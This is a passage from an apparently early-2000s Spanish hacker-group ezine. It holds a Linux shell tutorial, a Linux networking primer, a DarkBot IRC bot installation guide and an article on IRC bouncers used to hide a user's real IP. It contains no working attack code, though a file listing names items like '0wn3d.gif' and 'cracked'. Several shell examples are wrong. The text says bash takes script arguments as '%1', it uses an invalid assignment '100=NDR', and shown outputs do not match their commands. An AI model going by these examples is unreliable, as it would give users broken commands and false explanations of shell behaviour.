/home/www/350cc/www Para que el $ ? anteponer $ hace q se evalue lo que viene a continuacion por su contenido y no por su nombre, si no se colocara $, echo solo mostraria d . [ndr113@quark ndr113]$ cp index.htm d$ [ndr113@quark ndr113]$ cp /fye4.zip d$ [ndr113@quark ndr113]$ mv /winnt.txt d$ [ndr113@quark ndr113]$ ls d$ index.htm cmpdicon.gif indexv.htm nixutil.gif soon 0wn3d.gif cracked info2.231 nt.JPG staff.gif fye4.zip explora.doc irma nt_script staff.htm Nius.htm ezbounce.tar.gz winnt.txt ownbot.tar.gz staff.html ... Se pueden crear todas las variables que se deeseen, y verlas todas con set [ndr113@quark ndr113]$ set BASH=/bin/bash BASH_ENV=/home/ndr113/.bashrc BASH_VERSION=1.14.7(1) COLUMNS=80 d=/home/www/350cc/www ... Notese que se encontran un gran numero de variables del entorno o shell que establece el sistema mismo al entrar, ademas de las que se declaren por el usuario. Para eliminar alguna variable -en este ejemplo d- simplemente damos: [ndr113@quark ndr113]$ unset d 5.2 Cadenas Para que el shell tome en cuenta cadenas de caracteres que incluyan por ejemplo otras variables o caracteres que necesitan evualarse de utilizan las cadenas. Si queremos establer una variable de varias palabras, debemos delimitarla con comillas o apostrofes, ejemplo [ndr113@quark ndr113]$ m="la ezine FYE" [ndr113@quark ndr113]$ n="es $m la primera labor de 350cc" # simplemente declaramos cada variable, notese que en n incluimos m como # variable a evaluar ($m), ahora veamos [ndr113@quark ndr113]$ echo $n es la ezine FYE la primera labor de 350cc # ahora cambiaremos algunas cosas; [ndr113@quark ndr113]$ m="jugar Quake 2" [ndr113@quark ndr113]$ echo $n es jugar Quake 2 la primera labor de FYE Cual es la diferencia entre usar apostrofes o comillas? Los apostrofes suprimen la evaluacion de variables, es decir se toman por su nombre y no su contenido, ejemplo: [ndr113@quark ndr113]$ m=estudiar [ndr113@quark ndr113]$ n='es $m la primera labor de 350cc' [ndr113@quark ndr113]$ echo $m es m$ la primera labor de 350cc Es posible tambien delimitar caracteres indivuales utiliando \ , el que suprime la evualuacion del caracter que le sucede, ejemplo [ndr113@quark ndr113]$ 100=NDR [ndr113@quark ndr113]$ 200="0 gana $100 mensuales" [ndr113@quark ndr113]$ echo 0 NDR gana 0 mensuales #Utilizando \ evitamos que el segundo 0 fuera tomando como la variable 100. Es posible llamar a una variable para que sea directamente ejecutada por el shell [ndr113@quark ndr113]$ dir=ls -Fal [ndr113@quark ndr113]$ $dir total 21 drwx-----x 3 ndr113 350ccgrp 1024 Jan 4 16:11 ./ drwxr-xr-x 303 root root 7168 Jan 4 11:27 ../ drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/ -rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta -rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 15:56 lista -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2 -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3 lrwxrwxrwx 1 root root 19 Jun 9 2000 www -> /home/www/350cc/ o, tambien podemos incluir caracteres de expresiones como *, [] o variables. [ndr113@quark ndr113]$ dir="ls li* -Fal" [ndr113@quark ndr113]$ $dir -rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 15:56 lista -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2 -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3 o, tambien se puede hacer que tome una variable ed la misma linea de comando como si fuera un argumento, [ndr113@quark ndr113]$ dir="ls %1 -Fal" [ndr113@quark ndr113]$ $dir *.fye -rw-r--r-- 1 ndr113 350ccgrp 11 Jan 4 15:35 linux2.fye # %n , siendo un numero cualquiera, es el argumento(s) que sucede a cualquier comando. Y se pueden utilizar tanto %n (%1, %2, %3) como argumentos hayan. 6.0 Shell Scripts Como hicimos con las cadenas y variables, es posible tb personalizar ciertas ordenes o comandos para que trabajen como mas nos plazca, una forma de hacerlo mas rapidamente y eficienemtente es creando un script, algo similar a los archivos de procesos por lotes de DOS (.bat). -recuerden q las variables depende del entorno asi que una ves que se reinicie la maquina el shell crea un nuevo entorno con sus respectivas variables, haciendo que nuestro comando anterior $dir no funcione, por eso utilizaremos scripts- [ndr113@quark ndr113]$ echo ls %1 -Fal > ndir [ndr113@quark ndr113]$ sh ndir *.lista[2-3] -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2 -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3 podemos tambien reeemplazar el sh (que hace llama al shell) por ./ [ndr113@quark ndr113]$ ./ ndir *.lista[2-3] -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:11 lista2 -rw-r--r-- 1 ndr113 350ccgrp 19 Jan 4 16:12 lista3 mas aun, haremos de ndir un archivo ejecutable cambiando sus permisos (con la orden chmod )y luego lo enviaremos a /usr/bin para que sea parte de los comandos y se pueda utilizar sin importar nuestra ubicacion actual. [ndr113@quark ndr113]$ chmod +x ndir [ndr113@quark ndr113]$ su [ndr113@quark ndr113]$ cp ndir /usr/bin en mi caso tuve que hacer su para poder tomar permisos de superuser -root- y asi poder escribir en /usr/bin , pues la cuenta ndr113 no tenia permiso para hacerlo 7.0 Permisos Aprovechando que hablamos de cambio de permisos, hablemos acerca de esto y su comando chmod . Para eso primero debemos comprender como trabaja linux en el aspecto de la restriccion de acceso a los archivos. Existen 3 categorias en las que se pueden agrupar a los usuarios con respecto a las restricciones: propietario, grupo u otros. Un conjunto de usuarios pueden formar parte de un grupo, comparitiendo las mismas restricciones con respecto a sus permisos de grupo, asi como tambien un usuario puede establecer sus propios permisos a aquellos archivos q le pertenezcan, o dejar los permisos necesarios al grupo otros, compuesto simplemente por todo el mundo. Asi es posible establecer en la combinacion que uno quiera las tres propiedades de acceso: lectura, escritura o ejecucion, independientemente para grupos, usuario u otros. drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/ -rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta La primera columna represanta los permisos. Se compone de 10 posiciones. Siendo la primera la que define si si trata de un archivo ( - ) o un directorio ( d ). Las siguiente 3 posiciones represtan los permisos de lectura (r), escritura (w) y ejecucion (x) del PROPIETARIO indicado en la terca columna (ndr113). Luego siguen los permisos del GRUPO al que pertenece el propietario (350ccgrp), y finalmente los de OTROS, es decir aquellos fuera del grupo. Los guiones que se presentan despues de la primera posicion representan un permiso no concedido. drwxr-xr-x 3 ndr113 350ccgrp 1024 Jan 4 16:25 bnc/ Este es un directorio, cuyo propietario puede escribir, leer y ejecutar, el resto del grupo puede leer y ejecutar al igual que otros. -rw-r--r-- 1 ndr113 350ccgrp 9 Jan 4 15:35 fye4beta este es un archivo cuyo propietario puede leer y ejecutar, y solo puede ser leido por los demas miembros del grupo u otros. Para cambiar permisos utilizamos el comando chmod y los signos + y - para aadir o eliminarlos respectivamente, antecediendo con la categoria a la que queremos modificarle los permisos (u para propietario, g para grupo y o para otros). [ndr113@quark ndr113]$ chmod g+rw lista Aadios permisos de lectura y escritura al grupo [ndr113@quark ndr113]$ chmod o+r-wx ndir Aadimos el permiso de lectura a Otros pero quitamos los de escritura y ejecucion. Existe otro metodo llamado absoluto, que utiliza patrones binarios y cifras para cambiar todos los permisos de una sola ves, en ves de hacerlo por separado y con letras como lo hace el metodo simbolico. Por su extension, veremos este metodo absoluto en la siguiente entrega de esta guia. 8.0 Trabajos y Procesos Linux es multiusuario -cosa que veremos mas adelante con la administracion de cuentas y usuarios- y multitarea, asunto q veremos ahora. Hasta ahora hemos controlado mayormente la entrada y salida de datos hacia los distintos comandos y archivos. Ahora controlaremos la ejecucion misma de estas ordenes. Podemos interrumpir, cancelar o reanudar un "trabajo", asi como enviarlo a primer plano o segundo plano. Se envia una tarea a segundo plano colocando despues de ella el signo & [ndr113@quark ndr113]$ cp /mnt/* /usr/mp3 & [1] 547 [ndr113@quark ndr113]$ Entonces, mientras hace la tarea asignada (copiar todo eso) podemos seguir trabajando ya que nos muestra el numero de tarea que es [1] y el PID o identificador de proceso, y finalmente se nos devuelve a la linea de comando. Para traer la aplicacion al primer plano o foreground , la llamamos asi [ndr113@quark ndr113]$ fg %1 cat /mnt/* /usr/mp3 Ahora, para voler a dejar en segundo plano y continuar trabajando debemos primero interrumpir la tarea presionando CONTROL+Z . Notese que esta combinacion de teclas solo pausa el trabajo y lo coloca en segundo plano, a diferencia de CONTROL+C , que simplemente cancela la tarea, terminando definitivamente su ejecucion. [ndr113@quark ndr113]$ fg %1 cat /mnt/* /usr/mp3 ^Z [ndr113@quark ndr113]$ bg %1 Arriba pusimos la tarea 1 en primer plano, luego la enviamos interrumpida a segundo plano y la reiniciamos en el con la orden bg (background o segundo plano). Podemos ver las tareas q se ejecutan y su estado con el comando jobs [ndr113@quark ndr113]$ jobs [1] + Running cp /mnt/* /usr/mp3 obviamente pueden ser muchas mas que una, y justamente esa es la gracia de linux, su capacidad de atraves de la linea de comando utilizar capacidades multitareas, sin necesitar una interfaz grafica o GUI. Es posible ver de forma mas detallada los procesos y tareas en ejecucion utilizando la orden ps, la que con modificador -a mostrara incluso los procesos de sistema, demonios , etc. Para eliminar una tarea o proceso utilizamos kill seguido de su numero de tarea -antecedido de un % - o, kill seguido del PID. [ndr113@quark ndr113]$ kill %1 es lo mismo que [ndr113@quark ndr113]$ kill 547 [[ FIN ]] He llegado al final de la segunda parte de esta pequea guia de Linux, en el siguiente numero vendra administracion de usuarios y sistema. Por su atencion muchas gracias. %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Linux Networking >>>--------------------------------[ by To4s7 ]-----=> Holas. Como dice el titulo, voy a dar una nocion generalizada de lo que son las redes linux. Para poder armas una BUENA red, Linux vendria siendo la mejor alternativa ( los admins saben porke ;) ). Ademas, quiero romper el mito de que linux es dificil de configurar, porque realmente no lo es. Pero sin duda la mayor caracteristica, es que este sistema es robusto y confiable, siendo esto un gran alivio para mucho admines que deben estar todo el dia configurando un sistema, para que luego se lo tiren o mas directamente, se lo crackeen. Entonces, en resumen, actualmente linux soporta : Casi todas las tarjetas Ethernet existentes ( eso refuerza la tesis de que linus ES un SO para redes ) Protocolos de transmision via puerto SLIP ( Serial Line IP ) y PPP ( Point to Point Protocol) [ es el con el que te conectas con tu isp ;) ] PLIP para la coneccion de PCs via puerto paralelo. EQL Load Balancing. Weno, esto permite el uso de mas de una coneccion simultane con otra maquina . Esto permite aumentar el ancho de banda disponible. NFS: Bajo este protocolo es ke los sistemas de archivos remotos son accesibles, lo que permite por otras partes, el uso transparente de estos NIS ( Network Information System ): protocolo creado por la empresa SUN destinado a poner cierta info pa todas las maquinas de una red. Obviamente esto esta hecho para facilitar el manejo de red. ARCnet Appletalk: ( a que les suena xD ) Esto permite compartir archivos y disposi tivos con maquinas Macintoch Ip firewalling: Su nombre lo dice, configurar un linux como cortafuegos de una red IP tunneling: Esto sirve como para "disfrasar" un protocolo dentro de otro. Tambien se puede ocupar como tecnica de spoof. TCP/IP Bueno, como muchos supondran, TCP/IP ( transport control protocol/internet protocol ) es EL protocolo por defecto ( si es que se puede decir asi ) de Linux, el estandar de todos los *nix y obviamente, el estandar de Internet. No es el din hablar sobre el protocolo ni mucho menos, ya que el articulo va orientado hacia otros lados, pero obviamente hay ke hacerle una pequea referencia. Ademas, se podira decir ke UNIX e Internet, son siameses Capas Todos sabemos que la transmision de datos en TCP/IP se hace a traves de paque tes. Estos son como fragmentos de datos cubiertos por capas, las cuales a la vez, corrsponden a un protocolo cada una.Asi podemos enviar un datagrama ( paquete de datos) desde nuestro PC a otro de la msima red a traves de una placa Ethernet. 1 2 3 4 1)Capa Ethernet | | | 2)Capa IP | | | 3)Capa TCP | | | 4)Datagrama | | | | | | Como se puede ver en la obra de arte ( xD ) cada una de las "capas"corresponde al protocolo que el datagrama debe atravesar para llegar a su destino. Prime- ero los datos son recibidos con el header del protocolo TCP/IP, luego con el IP y finalmente, con el de la placa de red Ethernet. Cuando este datagrama llega a sus destinos, hay ke "desempaquetarlo" en el orden inverso al que fue empaquetado ( ahora se entiende un poco mas lo de los nukes? =P ) Lo que sucede es lo siguiente. El protocolo Ethernet compilado en el kernel consulta primero a la linea de transmision si esta ocupada. Si es asi, espera un rato e intenta de nuevo el procedimiento que se llama "direccion de colision" .Cuando la linea esta disponible, el PC de origen recubre los datos con los headers correspondientes, o sea, con el de TCP/IP y Ethernet, y en ese orden los manda :) El kernel de nuestra maquina Linux que recibe el paquete le quita el primer recubrimiento y luego procede a interpretar los datos mediante IP. Este es un protocolo que NO garantiza la transmision de datos, porque no existe ningun sistema de verificacion a ese nivel que asegure que han sido recibidos En este protocolo, no sencontramos con el numero IP o direccion IP, un conocido sistema clasificatorio para nodos de una red, mediante la utilizacion de 4 octetos. Los 32 bits de los cuatro octetos se pueden usar de 3 maneras distintas. Ahora va una explicacion de los tipos de red ke hay en IP: ---------------------------------------------------------------------------- Clase | Red | Nodo | Descripcion| ---------------------------------------------------------------------------- I |8 bits | 24 bits| Un bytes para red y tres para nodo II |16 bits| 16 bits| Dos bytes para red y don para nodo III |24 bits| 8 bits | Tres bytes para red y uno para nodo ----------------------------------------------------------------------------- Kernel Para poder usar linux como sistema operativo de red, se debe prestar atencion a la configuracion del kernel y las caracteristicas ke incluiremos en el momento de su compilacion. Estas vendrian siendo las mas importantes TCP/IP networking (CONFIG_NET): hay ke poner si =P para ke sea incorporado el codigo necesario para el protocolo ( en versiones recientes de linux creo que ya no es necesario, viene por defecto =P ) IP fowarding/gatewaying (CONFIG_IP_FOWARD): se debe habilitar esta opcion si se va ahacer enrutado de paquetes Ip firewalling (CONFIG_IP_FIREWALL): esto lo tienen ke activar solamente si se kiere tener la makina como firewall Reverse ARP (CONFIG_INET_RARP): es el soporte del protocolo rarp (Reverse Adress Resolution Protocol ) que se utiliza para asignar una IP a terminales sin disco. Weno esa vendria siendo la breve explicacion a lo ke a kernel se refiere, Ahora vamos a ver la configuracion de la red, paso importante para una buena seguridad :) Esta configuracion es muy facil, incluso para un usuario sin experiencia, Lo uniko ke se nesecita es un editor de texto para editar los archivos de con- finguracion correctamente. Estos estan de toda smaneras configurados por defecto, y se puede encontrar gran cantidad de documentacion para interpretar cada una de las lineas. Los arichis de configuracion se encuentran el el directorio /etc. Veamoslos y analicemos sus funciones HOSTNAME: tiene una sola linea , la cual es el nombre de la makina hosts: aqui van los nombres y los numeros IP de las maquinas de nuestra red como minimo debe haber una linea para el loopback 127.0.0.1 localhost hosts.conf: le dice a linux la forma a proceder cuando deba resolver nombres de makinas de la red resolv.conf: tiene las direcciones IP de los servidores de nombres de dominio Tambien se puede indicar el nombre de dominio de la makina, en caso de ke tenga inetd.conf aca tenemos la configuracion de demonio de Internet, que esta a la espera de peticiones de conexion. En el caso de ke llegue una, dispara la ejecucion del servicio adecuado consultando en el archivo /etc/services el numero y protocolo a utilizar para cada servicio =P services: igual ke en windows, el archivo services contiene el listado de numero y resprectivo protocolo asignado a cada socket. protocol: contiene todos los protocolos que podemos utilizar con linux, y el numero asignado a cada uno de ellos. Ademas, existen 2 archivos muy importantes para la inicializacion del software implicado en la gestion de redes y en la declaracion de las variables necesa- rias : rc.inet1 y rc.inet2 En la distribucion de Red Hat, contamos con una buena herramienta de configuracion para redes ke se encuentra en el Control_Panel. Su uso es muy facil y obvio y nos permite configurar la red sin ninguna complicacion. No voy a detallar cada una de sus funciones, porke estan ala vista y cuenta con un facil entorno grafico. Espero ke esta introduccion a la configuracion de una red Linux les haya servido de referencia y haya podido convencer a algun admin dudoso, de cambiarse a linux ;) %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< IRC BOTS >>>----------------------------------------[ by ThEye ]-----=> Hola ! , con este peque~o articulo veremos como instalar un BOT en IRC basandonos en DarkBot , un bot bastante bueno y facil de configurar. Primero que nada debemos saber que un BOT es un programa que , como un usuario , se conecta a un server de IRC y cumple funciones que le son asignadas por su master o sea quien lo instala. Por ejemplo en aquellos servidores en que no se pueden registrar canales sin que lo hagan los ircops,el bot nos ayudaria a darle op a nuestros amigos y asi mantener el canal "semi-registrado" ya que no desapareceria porque el bot esta conectado todo el dia al servidor de irc.Ademas de cumplir funciones de operador el bot puede responder a instrucciones o palabras claves enviadas por su master o por un simple usuario.Veames un ejemplo: ?? 350cc 350cc r0x f0r3w4 !!!! Mas claro hecharle agua.Como pueden ver el BOT responde a palabras claves que han sido designadas por quienes lo administran. Bueno ahora introduzcamonos en el BOT que explicaremos.DarkBOT es un bot escrito en C por Jason Hamilton < Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla > .Su funcion es, ademas de dar op o voice a sus users ,el de ser un bot de ayuda ya que responde a palabras o frases claves designadas por el master del bot. Lo podemos bajar de www.superchat.org/darkbot la cual es su page oficial o bien en www.freshmeat.net en donde si haces una busqueda de bots encontraras muchos otros (freshmeat no tiene solo bots,es una page al estilo tucows pero solo de Linux :) . La gracia de los bots,como ya esta dicho,es que estan todo el dia conectados al servidor de irc.Para lograr esto los bots deben estar cargados en un servidor ya que estas son maquinas que estan conectadas todo el dia (se imaginan si ponemos un bot en nuestra conexion dial up y lo dejamos ahi puesto ??? peque~a cuenta despues :P ) por lo tanto sirven para lograr ese objetivo,asi que primero que nada debemos tener una shell en un servidor (si es Linux mejor , pero tambien hay versiones de BOTS para windows,DarkBOT es un ejemplo) y desde ahi lanzaremos nuestro bot al irc,claro que cuando lo ejecutemos por primera vez es conveniente lanzarlo desde nuestro propio pc hacia el irc para asi revisar los posibles errores que ocurran. Supongamos que ya tenemos shell en un servidor y tenemos el tar.gz del bot,bueno lo subimos y compilamos arriba,en el caso de DarkBOT seria algo asi mas o menos: [ Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla /]# tar zxvf darkbot.tar.gz y se instalara en el directorio darkbot5f22.bf.Entramos a este directorio y ejecutamos el script configure con la orden ./configure . ---------------------------------------------------- Welcome to Darkbot v5 configuration, ThEye. This will lead you through the setup of your darkbot The configuration will take a few minutes, and will require you to answer questions... so don't go anywhere! ---------------------------------------------------- Enter the name if the text editor you would like to use [pico]: Aca introducimos el nombre del binario de nuestro editor de textos favorito (en modo texto claro).Podemos usar vim,vi,emacs,joe,pico,etc... yo personalmente uso vim pero he sabido por ahi que a muchos les gusta el pico ... tendran sus razones digo yo.Despues de introducir el nombre del programa veremos esto: You will need to build the setup.ini for Darkbot... Hit ENTER to continue. obviamente damos enter aca :D Enter the nickname you would like to use for your bot: aca indicamos el nick que usara el bot,puede ser un nick registrado o no da lo mismo,luego veremos como dar la password a nickserv...nuestro bot se llamara MulaBOT Enter the userid you would like to use [ThEye]: aca nos piden que indiquemos el ident que tendra el bot (user para los mas "avanzados" :D ,se refiere a lo que sale antes del @ cuando se le hace un whois),el user que sale entre [] es el usuario de la cuenta shell que estamos usando,pero podemos poner el user que queramos :D ... en nuestro caso sera mulabot Enter the channel MulaBOT should join: el canal donde entraremos...para nosotros sera #350cc Enter the realname info for MulaBOT [default]: el realname es lo que sale despues del host en el whois,podemos poner una frase o una palabra,da lo mismo Enter the command character MulaBOT should respond to [!]: No CMDCHAR specified, defaulting to ! aca debemos indicar cual sera el caracter que indicara al bot que debe responder a un request.Si damos enter sera seleccionado el caracter que viene por defecto ,o sea ! Enter the VHOST you want to use. If none, hit enter [0]: None entered. Will not use VHOST. aca indicamos el VHOST (virtual host) :P,si damos enter no usara virtualhost. Writing data settings to setup.ini ..... ...escribiendo datos al archivo setup.ini... Okay, now you will need to update the #define settings in darkbot.c ... near the top are a few #defines marked that you need to change (if needed). Hit ENTER to continue. aca debemos cambiar algunas opciones del codigo del bot,por ejemplo la respuesta a los CTCP VERSION,el idioma que usara el bot,algunas respuestas que vienen por defecto,etc.Por ejemplo,cambiemos la respuesta al CTCP VERSION : #define VERSION_REPLY "MulaBOT , BOT de Servicios del Grupo de Seguridad 350cc" asi deberia verse nuestro VERSION_REPLY si queremos que nuestro bot envie esta respuesta ante las peticiones de VERSION de cliente irc.Si queremos cambiar el idioma que usara el bot modificamos la linea #define LANG 1 por #define LANG 3 el 1 corresponde al ingles y el 3 a espa~ol , el espa~ol las lleva :D . Una vez hayamos hecho las modificaciones que queriamos al codigo del bot,procedemos a guardar los cambios y salir del editor de texto para continuar la instalacion. Next you need to specify the server MulaBOT should connect to. Enter the server your bot should connect to [irc.superchat.org]: aca indicamos el servidor al que deseamos que el bot se conecte,pongamos irc.terra.cl :D Enter the port to connect to on irc.terra.cl [6667]: y aca indicamos el puerto del servidor,en el caso de terra es el 7000 pero si damos enter seleccionaremos el 6667 que es en donde generalmente se encuentran los ircd. Darkbot configuration menu - 1) Read the README files (recommended) 2) Setup the .ini files (recommended) 3) Setup your userlist (required) 4) Add another server (recommended) 5) Quit configuration (Hope you *eventually* select this ;) Luego nos aparecera este menu en donde debemos hacer algunas cosillas,analicemos opcion por opcion: 1) Aca vemos el archivo README que nos da una descripcion de los scripts que vienen con el bot ,por ejemplo los que estan en directorio /dat .Tambien veremos README.LEVELS.txt,este archivo nos indica los privilegios de los 4 niveles de usuario de DarkBot,no explicare cada uno ya que sale mas facil que uds mismos lo lean.Por ultimo veremos el archivo WHATSNEW en donde nos informan de las novedades que trae la ultima version de DarkBot. 2) Aca editaremos los archivos perform.ini y deop.ini .El perform.ini le indica al bot que es lo que debe hacer una vez conectado al servidor IRC.Esto lo hace mediante comandos RAW.Supongamos que el nick de nuestro bot esta registrado,entonces lo que debe ir en nuestro perform.ini es algo similar a esto: PRIVMSG nickserv identify no es necesario indicarle que entre al canal que seleccionamos como por defecto porque aunque no lo incluyamos aca lo hara.Lo que hace deop.ini es indicar como debe reaccionar el bot cuando se le quite el op.Si el nick del bot tiene access como op podriamos poner algo como esto: PART #canal JOIN #canal 3) Aca indicamos el user y host de los usuarios autentificados en el bot y que tendran algun nivel de control. The format of the user@host is *userid@*.host.isp, examples: *jason@*.superlink.net <-- dyanmic ip * Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla <-- static host * Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla .* <-- unresolved host Enter the *user@host of the user you'd like to add: por ejemplo,elijamos el user MONO desde cualquier ip,asi es mas comodo pero hay que recordar de poner una password algo rebuscada para que asi no venga cualquier persona que nos haya copiado el ident y se autentifique en el bot como un usuario legitimo. What level should *MONO@* be added at? ese es el formato *user@host :D 1) Helper access. Add/delete topics. 2) Channel access, OP/DEOP's. 3) Bot master. Rehash, DIE commands. Select a number: elijamos el nivel 3 de administrador ;D Adding user: *MONO@* at level 3. You can add and delete users on-line with the ADDUSER and DELUSER commands. 4) Con esta opcion agregamos un servidor mas al archivo /dat/servers.ini para que asi,si no conecta con el primero,siga con los siguientes. Darkbot has a dynamic server list, where if the bot is killed, it'll connect to the next server in the list. You can have as many servers in this list as you wish. Enter a server name: irc.terra.cl What port to connect to on irc.terra.cl? [6667] 7000 Defaulting to 7000... irc.terra.cl:7000 has been added to dat/servers.ini 5) La opcion 5 la usamos cuando ya tenemos totalmente configurado el bot. La primera vez que configuramos el bot,no existira el binario darkbot asi que el script de configuracion compilara solo el codigo una vez terminado el uso de configure,las siguientes veces no lo hara. I did not find the darkbot binary.... running Makefile now. gcc -DFORK -O3 darkbot.c -o darkbot; Luego nos preguntara si deseamos darle permisos de ejecucion al binario darkbot y si queremos ejecutarlo inmediatamente.A la primera pregunta respondemos afirmativamente,la segunda es opcion personal. Ahora nos nos queda mas que ejecutarlo,corramos entonces ./darkbot: [ Esta dirección electrónica esta protegida contra spam bots. Necesita activar JavaScript para visualizarla /darkbot5f22.bf]# ./darkbot y apareceran los datos del bot y luego conectara.Al final de todo te indicara el PID del proceso de darkbot para que lo killees si es necesarion y no eres root en el server. Ahora veamos algunos comandos para el DarkBoT,solo algunos de los mas importantes: ADDUSER : A~ade un nuevo usuario a la lista de users permitidos del bot,la sintaxis es: !adduser *user@host #canal password nivel .Por ejemplo: !adduser *theye@*carabineros.cl #350cc khfd"#% 3 . luego para que el nuevo user se autentifique debe hacer lo siguiente: /msg nickdelbot login aka_la_password y si por alguna razon desea cambiar su password debe hacer lo siguiente: /msg nickdelbot pass actualpass nuevapass IMPORTANTE: si haz configurado un user en la instalacion este se a~adira a la lista de usuarios con una password que es 0 ,para cambiarla y poner una mejor debes hacer /msg nickdelbot pass 0 nuevapass .Asi estara mas seguro. !VARIABLES : este comando te muestra las variables que usa el bot como por ejemplo N~ para el nick del user que pidio la respuesta a un quote o R~ para nombrar un nick elegido en forma aleatoria. NICKDELBOT ADD QUOTE RESPUESTA : asi sin ! , con esto le a~ades un quote al bot,es decir una respuesta a una palabra o frase que desees.Veamos un ejemplo: NICKDELBOT ADD FYE N~ : FYE RLZ fye ThEye : FYE RLZ si deseas incluir una frase en vez de una palabra debes sustituir los espacios por signos + asi : hola+soy+ThEye .Para borrar un quote se pone : NICKDELBOT DEL QUOTE , y listo. NICKDELBOT INFO : tambien sin ! , lo que hace este comando es dar informacion acerca del bot,la cantidad de quotes en su base de datos,el tiempo que ha estado conectado,el numero de preguntas hechas,etc. NICKDELBOT CALC OPERACION : calcula lo que le pides :P , + para suma , * para multiplicacion , / para division y - para sustraccion. MulaBOT calc 2 * 8 16.000000 Hay muchos mas comandos,pero no voy a extenderme ya que este es un peque~o tip nada mas,si desean la lista completa de comandos de DarkBoT visiten www.superchat.org/darkbot/darkbotdoc.html.Si alguien desea un articulo mas extenso sobre bots que me lo indique y si no no nomas :P . Salu2 a To2 ThEye %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% <=--<<< Bouncers (BNC) >>>---------------------------------[ by Kasiki ]-----=> Introduccin: 1.- Significado de un Bnc 2.- Un esquema de la coneccin 3.- Como ver si un Bnc tiene vhosts 4.- Como conectarnos a un servidor 5.- Dentro de un Bnc 6.- Breve lista de Bnc 7.- Despedida Kiu, en este tips tratar de explicar en general sobre los bnc (muy obvio no? xDD) Ya aqu empezamos. 1.- Bnc? Es un Bouncer conocido comunmente por la abreviacin Bnc son ircproxys (IRC= Internet Relay Chat Proxys= Mquina servidor que actua generalmente como un firewall y como un wingate dando una coneccin al resto de la red) osea que en conclusin stos sirven para ocultar la IP real, son muy parecidos a los Wgate (Wingates) pero los Bnc son menos complicados de utilizar que los wingates, algunos pueden poseer vhosts(virtual hosts) o vip que viene siendo lo mismo segn en la version y tipo de bnc que nos encontremos, sto nos permite tener hartos dns en un slo bnc utilizando cualquiera de sus diferentes vhosts (si es que los tiene). Hay Bnc para Wind0ws y para Linux... 2.- Aqu expongo un Esquema explicando como mas o menos es la idea, el esquema se compone de la siguiente manera: ______ _____ ______ | | / \ | | |Host A|<--=|Bouncer|=-->|Host B| |______| \_____/ |______| Aqu el Host A corresponde al cliente y el Host B al servidor de IRC. Toda la informacin que el Host A le manda al Host B es recibida por el Bnc. Este se encarga de reenviarlos a su destino B (de igual forma ocurre en el otro sentido) Por lo tanto, se puede concluir que el bnc esta actuando como un elemento redireccionador en ambos sentidos... 3.- Como saber si un Bnc tiene vhosts? Para ver si el bnc tiene vhosts o vip stos son los comandos a ejecutar: /quote vhosts o si no sale la lista, intenta con esto: /quote vip Una vez que ya has visto la lista, escoge un vhosts o vip para usarlo el comando para escoger un vhosts o vip es: /quote interface o si te sali la lista con vip coloca esto: /quote vip Nota: Si el Bnc no tiene vhosts o vip cooperaste, tendrs que conectarte con el host que trae el bnc no mas... listo. Ya has elegido el vhosts o vip que vas a tener cuando te conectes... 4.- Como conectarnos a un servidor? /quote conn Un ejemplo si queremos entrar al terra colocamos: /quote conn irc.terra.cl 7000 Y listo slo nos queda esperar que conecte y entramos al servidor que hemos especificado, todo lo dems es chatear tranquilos (as) sin que ningn lammer te estee tirando sus fucking nukes, ya que al no tener nuestra IP real esos nukes no nos llegarn. Nota2: Todos los comandos aqu especificados se deben hacer ya estando dentro de un bnc... 5.- Dentro de un Bnc Aqu muestro un ejemplo usando el bnc cyber.spacesolutions.com las opciones que posee ste y que tenemos que hacer para ocuparlas... *** Connecting to cyber.spacesolutions.com (6600) <=-- Aqu estamos conectando -Bnc- Level two, lets connect to something real now <=-- Aqu ya estamos dentro y nos muestra el sgte paso. -Bnc- type /quote conn [server] to connect <=-- obvio no? -> Server: help (arriba coloque /quote help para ver la ayuda de este bnc) -Bnc- *** COMMANDS are /quote: -Bnc- *** MAIN -Bnc- *** VIP [new virtual host] -Bnc- *** IDENT -Bnc- *** CONN [port] [pass] -Bnc- *** VDF -Bnc- *** VN -Bnc- *** ADDHOST -Bnc- *** LISTHOST -Bnc- *** -----ADMIN COMMANDS---- -Bnc- *** BWHO -Bnc- *** BKILL -Bnc- *** DIE -Bnc- *** For a detailed explanation of commands, consult the file README -> Server: vip <=- Ya analice el bnc y vi que para ver los vhosts se coloca 